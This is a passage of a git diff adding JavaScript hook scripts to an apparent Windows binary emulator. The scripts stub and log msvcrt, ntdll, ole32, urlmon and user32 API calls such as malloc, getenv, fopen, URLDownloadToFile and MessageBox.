- 1) &~ (0x60 - 1); // align it . + + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; +malloc.install('msvcrt.dll', 'malloc'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var free = new ApiHook(); +/* +void free( + void *memblock +); +*/ +free.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var memblock = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP)); + + print('free({0})'.format( + memblock.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +free.install('msvcrt.dll', 'free'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var _vsnprintf = new ApiHook(); +_vsnprintf.OnCallBack = function (Emu, API, ret) { + + _vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4); + + // i think implementing this in JS is hard + // so just let the library handle it :D + return true; +}; + +_vsnprintf.OnExit = function(Emu,API){ + + var buffer = _vsnprintf.args[0]; + + warn("OnExit : _vsnprintf() = '{0}' ".format( + Emu.ReadStringA(buffer) + )); +} + +_vsnprintf.install('msvcrt.dll', '_vsnprintf'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var _vsnprintf_l = new ApiHook(); + +_vsnprintf_l.OnCallBack = function (Emu, API, ret) { + + return true; +}; +_vsnprintf_l.install('msvcrt.dll', '_vsnprintf_l'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var _isleadbyte_l = new ApiHook(); + +_isleadbyte_l.OnCallBack = function (Emu, API, ret) { + + return true; +}; +_isleadbyte_l.install('msvcrt.dll', '_isleadbyte_l'); + +/* +################################################################################################### +################################################################################################### +*/ + +var wctomb_s = new ApiHook(); +wctomb_s.OnCallBack = function (Emu, API, ret) { + + // i think implementing this in JS is a bit hard so + // just let the library handle it :D + return true; +}; +wctomb_s.install('msvcrt.dll', 'wctomb_s'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var _wctomb_s_l = new ApiHook(); +_wctomb_s_l.OnCallBack = function (Emu, API, ret) { + + // i think implementing this in JS is a bit hard so + // just let the library handle it :D + return true; +}; +_wctomb_s_l.install('msvcrt.dll', '_wctomb_s_l'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var _lock = new ApiHook(); +/* +void __cdecl _lock + int locknum +); +*/ +_lock.OnCallBack = function (Emu, API, ret) { + + // Emu.pop(); // pop return address .. + + // var locknum = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP)); + + // print('_lock({0})'.format( + // locknum + // )); + + // Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 100); + // Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +_lock.install('msvcrt.dll', '_lock'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var _unlock = new ApiHook(); +/* +void __cdecl _unlock( + int locknum +); +*/ +_unlock.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var locknum = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP)); + + print('_unlock({0})'.format( + locknum + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 100); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +_unlock.install('msvcrt.dll', '_unlock'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var getenv = new ApiHook(); +/* +char *getenv( + const char *varname +); +*/ +getenv.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var appdata = [0x43,0x3A,0x5C,0x55,0x73,0x65,0x72,0x73,0x5C,0x43,0x6F,0x6C,0x64,0x7A,0x65,0x72,0x30,0x5C,0x41,0x70,0x70,0x44,0x61,0x74,0x61,0x5C,0x52,0x6F,0x61,0x6D,0x69,0x6E,0x67,0x00]; + + var varname = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP)); + var result = Emu.ReadStringA(varname); + + var addr = (0x40000000 + 0x70000); + + if ( result == 'APPDATA') { + print('plaa'); + Emu.WriteMem(addr,appdata); + } + + print("0x{0} : getenv('{1}')".format( + ret.toString(16), + result + )); + + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, addr); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +getenv.install('msvcrt.dll', 'getenv'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var _beginthreadex = new ApiHook(); +/* +uintptr_t _beginthreadex( // NATIVE CODE + void *security, + unsigned stack_size, + unsigned ( __stdcall *start_address )( void * ), + void *arglist, + unsigned initflag, + unsigned *thrdaddr +); +*/ +_beginthreadex.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var security = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 0) ); + var stack_size = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 1) ); + var start_address = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 2) ); + var arglist = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 3) ); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var initflag = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 4)); + var thrdaddr = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 5)); + + + warn("0x{0} : _beginthreadex({1}, {2}, start_address = 0x{3}, 0x{4}, {5}, 0x{6}) - TODO: Implement Threading <<".format( + ret.toString(16), + security, + stack_size, + start_address.toString(16), + arglist.toString(16), + initflag, + thrdaddr.toString(16) + )); + + Emu.WriteDword(thrdaddr,111); // threadID :V + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1009);// Thread Handle :D + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +_beginthreadex.install('msvcrt.dll', '_beginthreadex'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var fopen = new ApiHook(); +/* +FILE *fopen( + const char *filename, + const char *mode +); +*/ +fopen.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var filename = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 0) ); + var mode = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 1) ); + + info("0x{0} : fopen('{1}', '{2}')".format( + ret.toString(16), + Emu.ReadStringA(filename), + Emu.ReadStringA(mode) + )); + + var addr = (0x40000000 + 0x71000); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, addr);// File Handle :D + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +fopen.install('msvcrt.dll', 'fopen'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var fread = new ApiHook(); +/* +size_t fread( + void *buffer, + size_t size, + size_t count, + FILE *stream +); +*/ +fread.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var buffer = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 0) ); + var size = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 1) ); + var count = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 2) ); + var stream = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 3) ); + + log("0x{0} : fread({1}, {2}, 0x{3}, 0x{4})".format( + ret.toString(16), + buffer.toString(16), + size, + count, + stream.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0);// TODO: handle it . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +fread.install('msvcrt.dll', 'fread'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var fsetpos = new ApiHook(); +/* +int fsetpos( + FILE *stream, + const fpos_t *pos +); +*/ +fsetpos.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var stream = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 0) ); + var pos = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 1) ); + + log("0x{0} : fsetpos(0x{1}, {2})".format( + ret.toString(16), + stream.toString(16), + Emu.ReadDword(pos) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1009);// Thread Handle :D + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +fsetpos.install('msvcrt.dll', 'fsetpos'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var fwrite = new ApiHook(); +/* +size_t fwrite( + const void *buffer, + size_t size, + size_t count, + FILE *stream +); +*/ +fwrite.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var buffer = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 0) ); + var size = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 1) ); + var count = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 2) ); + var stream = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 3) ); + + warn('=============================================================================='); + log("0x{0} : fwrite({1}, {2}, 0x{3}, 0x{4})".format( + ret.toString(16), + buffer.toString(16), + size, + count, + stream.toString(16) + )); + + Emu.HexDump(buffer,count); + + warn('=============================================================================='); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, count);// Thread Handle :D + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +fwrite.install('msvcrt.dll', 'fwrite'); + +/* +################################################################################################### +################################################################################################### +*/ + +var fclose = new ApiHook(); +/* +int fclose( + FILE *stream +); +*/ +fclose.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var stream = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 0)); + + log("0x{0} : fclose(0x{1}) ".format( + ret.toString(16), + stream.toString(16) + )); + + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +fclose.install('msvcrt.dll', 'fclose'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _get_osplatform = new ApiHook(); +_get_osplatform.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_get_osplatform.install('msvcrt.dll', '_get_osplatform'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _get_winmajor = new ApiHook(); +_get_winmajor.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_get_winmajor.install('msvcrt.dll', '_get_winmajor'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _CrtDbgBreak = new ApiHook(); +_CrtDbgBreak.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_CrtDbgBreak.install('msvcrt.dll', '_CrtDbgBreak'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _setmbcp = new ApiHook(); +_setmbcp.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_setmbcp.install('msvcrt.dll', '_setmbcp'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _freea = new ApiHook(); +_freea.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_freea.install('msvcrt.dll', '_freea'); + +/* +################################################################################################### +################################################################################################### +*/ + +var __crtLCMapStringA = new ApiHook(); +__crtLCMapStringA.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +__crtLCMapStringA.install('msvcrt.dll', '__crtLCMapStringA'); + +/* +################################################################################################### +################################################################################################### +*/ + +var memset = new ApiHook(); +memset.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +memset.install('msvcrt.dll', 'memset'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _initterm = new ApiHook(); +_initterm.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_initterm.install('msvcrt.dll', '_initterm'); +/* +################################################################################################### +################################################################################################### +*/ +var _initterm_e = new ApiHook(); +_initterm_e.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_initterm_e.install('msvcrt.dll', '_initterm_e'); +/* +################################################################################################### +################################################################################################### +*/ + +var __dllonexit = new ApiHook(); +__dllonexit.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +__dllonexit.install('msvcrt.dll', '__dllonexit'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _msize = new ApiHook(); +_msize.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_msize.install('msvcrt.dll', '_msize'); + +/* +################################################################################################### +################################################################################################### +*/ + +var strcpy_s = new ApiHook(); +strcpy_s.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +strcpy_s.install('msvcrt.dll', 'strcpy_s'); + +/* +################################################################################################### +################################################################################################### +*/ + +var wcscat_s = new ApiHook(); +wcscat_s.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +wcscat_s.install('msvcrt.dll', 'wcscat_s'); + +/* +################################################################################################### +################################################################################################### +*/ + +var swprintf_s = new ApiHook(); +swprintf_s.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +swprintf_s.install('msvcrt.dll', 'swprintf_s'); + +/* +################################################################################################### +################################################################################################### +*/ + +var vswprintf_s = new ApiHook(); +vswprintf_s.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +vswprintf_s.install('msvcrt.dll', 'vswprintf_s'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _woutput_s = new ApiHook(); +_woutput_s.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_woutput_s.install('msvcrt.dll', '_woutput_s'); + +/* +################################################################################################### +################################################################################################### +*/ + +var mbtowc = new ApiHook(); +mbtowc.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +mbtowc.install('msvcrt.dll', 'mbtowc'); + +/* +################################################################################################### +################################################################################################### +*/ + +var _mbtowc_l = new ApiHook(); +_mbtowc_l.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; +_mbtowc_l.install('msvcrt.dll', '_mbtowc_l'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/ntdll.js b/Build/hooks/ntdll.js new file mode 100644 index 0000000..b6172ca --- /dev/null +++ b/Build/hooks/ntdll.js @@ -0,0 +1,188 @@ +'use strict'; + + +var NtQuerySystemInformation = new ApiHook(); +/* +__kernel_entry NTSTATUS NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength OPTIONAL +); +*/ +NtQuerySystemInformation.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var SystemInformationClass = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var SystemInformation = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var SystemInformationLength = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var OPTIONAL = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + + console.log("NtQuerySystemInformation(0x{0}, 0x{1}, 0x{2}, 0x{3})".format( + SystemInformationClass.toString(16), + SystemInformation.toString(16), + SystemInformationLength.toString(16), + OPTIONAL.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +NtQuerySystemInformation.install('ntdll.dll', 'NtQuerySystemInformation'); +/* +################################################################################################### +################################################################################################### +*/ + +var RtlInitializeHandleTable = new ApiHook(); +/* +NTSYSAPI VOID NTAPI RtlInitializeHandleTable( + _In_ ULONG TableSize, + _In_ ULONG HandleSize, + _In_ PRTL_HANDLE_TABLE HandleTable +); +*/ +RtlInitializeHandleTable.OnCallBack = function (Emu, API, ret) { + + // let the lib handle it + return true; // we handled the Stack and other things :D . +}; + +RtlInitializeHandleTable.install('ntdll.dll', 'RtlInitializeHandleTable'); + +/* +################################################################################################### +################################################################################################### +*/ + +var RtlDeleteCriticalSection = new ApiHook(); +/* +RtlDeleteCriticalSection +*/ +RtlDeleteCriticalSection.OnCallBack = function (Emu, API, ret) { + + // let the lib handle it + return true; // we handled the Stack and other things :D . +}; + +RtlDeleteCriticalSection.install('ntdll.dll', 'RtlDeleteCriticalSection'); + +/* +################################################################################################### +################################################################################################### +*/ + +var RtlInitializeCriticalSection = new ApiHook(); +/* + NTSTATUS RtlInitializeCriticalSection + ( + RTL_CRITICAL_SECTION* crit + ) +*/ +RtlInitializeCriticalSection.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var crit = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + console.log("RtlInitializeCriticalSection(0x{0})".format( + crit.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RtlInitializeCriticalSection.install('ntdll.dll', 'RtlInitializeCriticalSection'); +/* +################################################################################################### +################################################################################################### +*/ + + +var RtlGetNtVersionNumbers = new ApiHook(); +/* + void RtlGetNtVersionNumbers + ( + LPDWORD major, + LPDWORD minor, + LPDWORD build + ) +*/ +RtlGetNtVersionNumbers.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var major = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var minor = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var build = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + if (major !== 0) + Emu.WriteDword(major,6); + if (minor !== 0) + Emu.WriteDword(minor,1); + if (build !== 0) + Emu.WriteDword(build,7601); + + warn("RtlGetNtVersionNumbers"); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RtlGetNtVersionNumbers.install('ntdll.dll', 'RtlGetNtVersionNumbers'); +/* +################################################################################################### +################################################################################################### +*/ + +var DeleteCriticalSection = new ApiHook(); +/* +void DeleteCriticalSection( + LPCRITICAL_SECTION lpCriticalSection +); +*/ +DeleteCriticalSection.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var lpCriticalSection = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + log("DeleteCriticalSection(0x{0})".format( + lpCriticalSection.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; +DeleteCriticalSection.install('kernelbase.dll', 'DeleteCriticalSection'); +DeleteCriticalSection.install('kernel32.dll', 'DeleteCriticalSection'); +DeleteCriticalSection.install('api-ms-win-core-synch-l1-1-0.dll', 'DeleteCriticalSection'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var InitializeSRWLock = new ApiHook(); +InitializeSRWLock.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; + +InitializeSRWLock.install('ntdll.dll', 'InitializeSRWLock'); +InitializeSRWLock.install('kernel32.dll', 'InitializeSRWLock'); +InitializeSRWLock.install('api-ms-win-core-synch-l1-1-0.dll', 'InitializeSRWLock'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/ole32.js b/Build/hooks/ole32.js new file mode 100644 index 0000000..2f2b1dc --- /dev/null +++ b/Build/hooks/ole32.js @@ -0,0 +1,34 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var OleInitialize = new ApiHook(); +/* +HRESULT OleInitialize( + IN LPVOID pvReserved +); +*/ +OleInitialize.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var pvReserved = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + + log('OleInitialize(0x{0})'.format( + pvReserved.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +OleInitialize.install('uxtheme.dll', 'OleInitialize'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/urlmon.js b/Build/hooks/urlmon.js new file mode 100644 index 0000000..8b4995f --- /dev/null +++ b/Build/hooks/urlmon.js @@ -0,0 +1,46 @@ +'use strict'; + +var URLDownloadToFile = new ApiHook(); +/* +HRESULT URLDownloadToFile( + LPUNKNOWN pCaller, + LPCTSTR szURL, + LPCTSTR szFileName, + DWORD dwReserved, + LPBINDSTATUSCALLBACK lpfnCB +); +*/ +URLDownloadToFile.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // PC + + var pCaller = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var url = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var filename = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var dwReserved = Emu.isx64 ? Emu.ReadReg(REG_R9D) : Emu.pop(); + // 32 Shadow space for x64 as MS describe it :V + // not we are at the 5th param . + var lpfnCB = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + + var msg = "0x{0} : {1}(0, '{2}', '{3}', {4}, {5})".format( + ret.toString(16), + API.name, + API.IsWapi ? Emu.ReadStringW(url) : Emu.ReadStringA(url), + API.IsWapi ? Emu.ReadStringW(filename) : Emu.ReadStringA(filename), + dwReserved, + lpfnCB + ); + + warn(msg); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // return 0 << from MS docs. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +URLDownloadToFile.install('urlmon.dll', 'URLDownloadToFileA'); +URLDownloadToFile.install('urlmon.dll', 'URLDownloadToFileW'); + +/* +################################################################################################### +################################################################################################### +*/ diff --git a/Build/hooks/user32.js b/Build/hooks/user32.js new file mode 100644 index 0000000..c95e3f0 --- /dev/null +++ b/Build/hooks/user32.js @@ -0,0 +1,254 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var MessageBox = new ApiHook(); + +MessageBox.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var hdl = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var text = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var Caption = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var type = Emu.isx64 ? Emu.ReadReg(REG_R9D) : Emu.pop(); + + log("MessageBox{0}({1}, '{2}', '{3}', {4})".format( + API.IsWapi ? 'W' : 'A', + hdl, + API.IsWapi ? Emu.ReadStringW(text) : Emu.ReadStringA(text), + API.IsWapi ? Emu.ReadStringW(Caption) : Emu.ReadStringA(Caption), + type + )); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it / false if you want Emu to handle it and set PC to (pop ret) . +}; + +MessageBox.install('user32.dll', 'MessageBoxA'); +MessageBox.install('user32.dll', 'MessageBoxW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetProcessWindowStation = new ApiHook(); +/* +HWINSTA GetProcessWindowStation(); +*/ +GetProcessWindowStation.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + warn('GetProcessWindowStation'); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0x1020); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +GetProcessWindowStation.install('user32.dll', 'GetProcessWindowStation'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetUserObjectInformation = new ApiHook(); +/* +BOOL GetUserObjectInformation( + HANDLE hObj, + int nIndex, + PVOID pvInfo, + DWORD nLength, + LPDWORD lpnLengthNeeded +); +*/ +GetUserObjectInformation.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var hObj = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var nIndex = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var pvInfo = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var nLength = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 byte Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var lpnLengthNeeded = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + +/* +typedef struct tagUSEROBJECTFLAGS { + BOOL fInherit; + BOOL fReserved; + DWORD dwFlags; +} USEROBJECTFLAGS, *PUSEROBJECTFLAGS; +*/ + + + if (nIndex == 1) { + Emu.WriteDword(pvInfo+8,1); + Emu.WriteDword(lpnLengthNeeded,nLength); + } else{ + Emu.WriteDword(pvInfo,0x30405060); + } + + warn("GetUserObjectInformation{0}(0x{1}, {2}, 0x{3}, {4}, 0x{5})".format( + API.IsWapi ? 'W' : 'A', + hObj.toString(16), + nIndex, + pvInfo.toString(16), + nLength, + lpnLengthNeeded.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +GetUserObjectInformation.install('user32.dll', 'GetUserObjectInformationA'); +GetUserObjectInformation.install('user32.dll', 'GetUserObjectInformationW'); + +/* +################################################################################################### +################################################################################################### +*/ +var GetKeyboardType = new ApiHook(); + +GetKeyboardType.OnCallBack = function (Emu, API, ret) { + + Emu.pop();// return address . + + var something = Emu.pop(); + log('GetKeyboardType(',something,')'); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0x02110110); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetKeyboardType.install('user32.dll', 'GetKeyboardType'); // 0x4B3 by Ordinal for testing + +/* +################################################################################################### +################################################################################################### +*/ + +var SystemParametersInfo = new ApiHook(); +/* +BOOL SystemParametersInfo( + UINT uiAction, + UINT uiParam, + PVOID pvParam, + UINT fWinIni +); +*/ +SystemParametersInfo.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var uiAction = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var uiParam = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var pvParam = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var fWinIni = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + + // if (pvParam !== 0) { + // Emu.WriteDword(pvParam,0x40100000); + // } + + warn("SystemParametersInfo{0}(0x{1}, 0x{2}, 0x{3}, 0x{4})".format( + API.IsWapi ? 'W' : 'A', + uiAction.toString(16), + uiParam.toString(16), + pvParam.toString(16), + fWinIni.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +SystemParametersInfo.install('user32.dll', 'SystemParametersInfoA'); +SystemParametersInfo.install('user32.dll', 'SystemParametersInfoW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var MapVirtualKey = new ApiHook(); +/* +UINT MapVirtualKey( + UINT uCode, + UINT uMapType +); +*/ +MapVirtualKey.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var uCode = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var uMapType = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + + log("{0}(0x{1}, 0x{2})".format( + API.name, + uCode.toString(16), + uMapType.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, uCode); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +MapVirtualKey.install('user32.dll', 'MapVirtualKeyA'); +MapVirtualKey.install('user32.dll', 'MapVirtualKeyW'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var RegisterWindowMessage = new ApiHook(); +/* +UINT RegisterWindowMessage( + LPCWSTR lpString +); +*/ +var 